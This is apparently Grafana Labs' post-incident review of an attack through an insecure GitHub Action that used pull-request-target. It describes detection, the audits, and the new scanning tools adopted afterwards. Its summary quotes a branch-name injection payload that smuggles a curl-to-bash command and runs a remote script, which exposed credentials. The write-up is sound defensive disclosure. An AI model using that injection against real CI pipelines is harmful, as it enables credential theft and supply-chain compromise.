Grafana security update: post-incident review for GitHub workflow vulnerability and what's next

On April 26, 2025, we had a security incident via an insecure GitHub Action, as covered in our previous blog post. 

The good news is our investigation wrapped up May 12, 2025, and we have confirmed that there has been no code modification, unauthorized access to production systems, exposure of customer data, or access to personal information. 

This blog post will cover what happened, how it started, how we looked into it, and the fixes we’re putting in place to prevent it from happening again.

Summary

A vulnerable GitHub Action, utilizing pull-request-target instead of the safer pull-request, led to a security incident. This allowed an unauthorized user to execute code from a malicious branch within a trusted environment. By naming their branch to trigger a command (essentially using ('child_process').exec('curl$(IFS)-pathtofile$(IFS)bash') the attacker was able to run a remote script. This script then exposed environment variables, including credentials, within the trusted environment.

To prevent such incidents in the future, we have required that Gato-X, an open source tool by Adnane Khan that identifies insecure GitHub Actions, is run on all our actions. We are so impressed with Gato-X that we are collaborating with Adnane Khan and Grafana Labs will be sponsoring the project to support the wider community.

To improve code quality, we’ve integrated Zizmor, an open source static analysis tool by William Woodruff, as a mandatory step in our CI/CD pipelines. Recognizing its value to the open source community, we are also partnering with William Woodruff as a sponsor of the Zizmor project.

Impact and remediation

Let’s break down the impact and remediation of this incident by focusing on the CIA triad, a common model for informing policies in information security based on confidentiality, integrity, and availability.

Confidentiality

Our investigation confirmed that the incident did not impact the confidentiality of our production systems or code. Given our open source DNA, most of our code is inherently public. The compromised workflow exposed some credentials and a tools repository. Before restoring production, we used TruffleHog, an open source credential scanner, across all repositories to ensure no credentials remained in the code. TruffleHog is now a mandatory step in our CI/CD pipelines. The exposed credentials were confirmed to be inactive and would have required further access to exploit. To enhance security, we’ve implemented compartmentalized vaults and short-lived tokens, reducing the potential impact of any future credential leaks.

Integrity

During the incident, Grafana Labs maintained complete data integrity. A comprehensive audit of every commit across all of Grafana Labs’ public and private repositories, before and after the unauthorized access, was conducted to confirm this. Subsequently, every GitHub Action was audited. The authenticity of each container within our infrastructure was then verified. Leveraging our Infrastructure as Code (IaC) setup and extensive instrumentation, we confirmed that no running instance had been compromised.

Availability

Our quick response to this type of attack prevented any impact on the availability of our production services. One of the steps we took during the incident response was to pause all deployments during the incident.

Interestingly, Grafana Labs embraces Everything as Code (EaC) to such an extent that even our website is managed as code. As a result, the initial blog post about this incident was delayed due to the deployment freeze. (The blog was manually posted on April 27.) Automation was restored after all credentials were rotated and our new security tools—Zizmor, Trufflehog, and Gato-X—were executed on our systems.

Analysis

Grafana Labs used Grafana Loki, our open source platform for log aggregation, to analyze potential unauthorized user actions, specifically examining code commits, dangling commits, Github Actions, credential access in Vault, authentication attempts, container authenticity, production access, data access, and production configuration changes. This comprehensive analysis confirmed that no critical systems were compromised or impaired as a result of the attack.

What went well 

We are proud that our proactive security measures were activated as planned. Our canary tokens alerted us when their use had been attempted. We also have a fantastic staff at Grafana Labs who responded quickly over the weekend. Because Grafana Labs has a globally distributed workforce, we had engineers who were awake and jumped on our alerts almost immediately, and we were able to coordinate work across teams and time zones. We acted decisively and shut down credentials, access, actions, and automations. 

As an open source company, we wanted to be transparent about the event and quickly shared all the details we had about the incident as soon as possible across our social channels and on our blog. 

What we improved

In response to this recent incident, Grafana Labs is accelerating its security roadmap with several key initiatives. These include the implementation of tools such as Zizmor, Trufflehog, and Gato-X. 

Ongoing efforts involve deploying Semgrep across all repositories, enhancing security through compartmentalization and privilege separation by migrating credentials to dedicated vaults, separating the open source GitHub organization from private repositories, and restricting token privileges. 

Furthermore, Grafana Labs is actively expanding its use of canary tokens and enhancing its alerting capabilities. 

This is just a sampling of what we are doing, and we hope our openness about this incident and our response can help others. 

Reporting security issues

If you think you have found a security vulnerability, please go to our Report a security issue page to learn how to send a security report.

Grafana Labs will send you a response indicating the next steps in handling your report. After the initial reply to your report, the security team will keep you informed of the progress towards a fix and full announcement, and may ask for additional information or guidance.

Important: We ask you to not disclose the vulnerability before it has been fixed and announced, unless you received a response from the Grafana Labs security team that you can do so.

Security announcements

We maintain a security category on our blog, where we will always post a summary, remediation, and mitigation details for any patch containing security fixes. You can also subscribe to our RSS feed.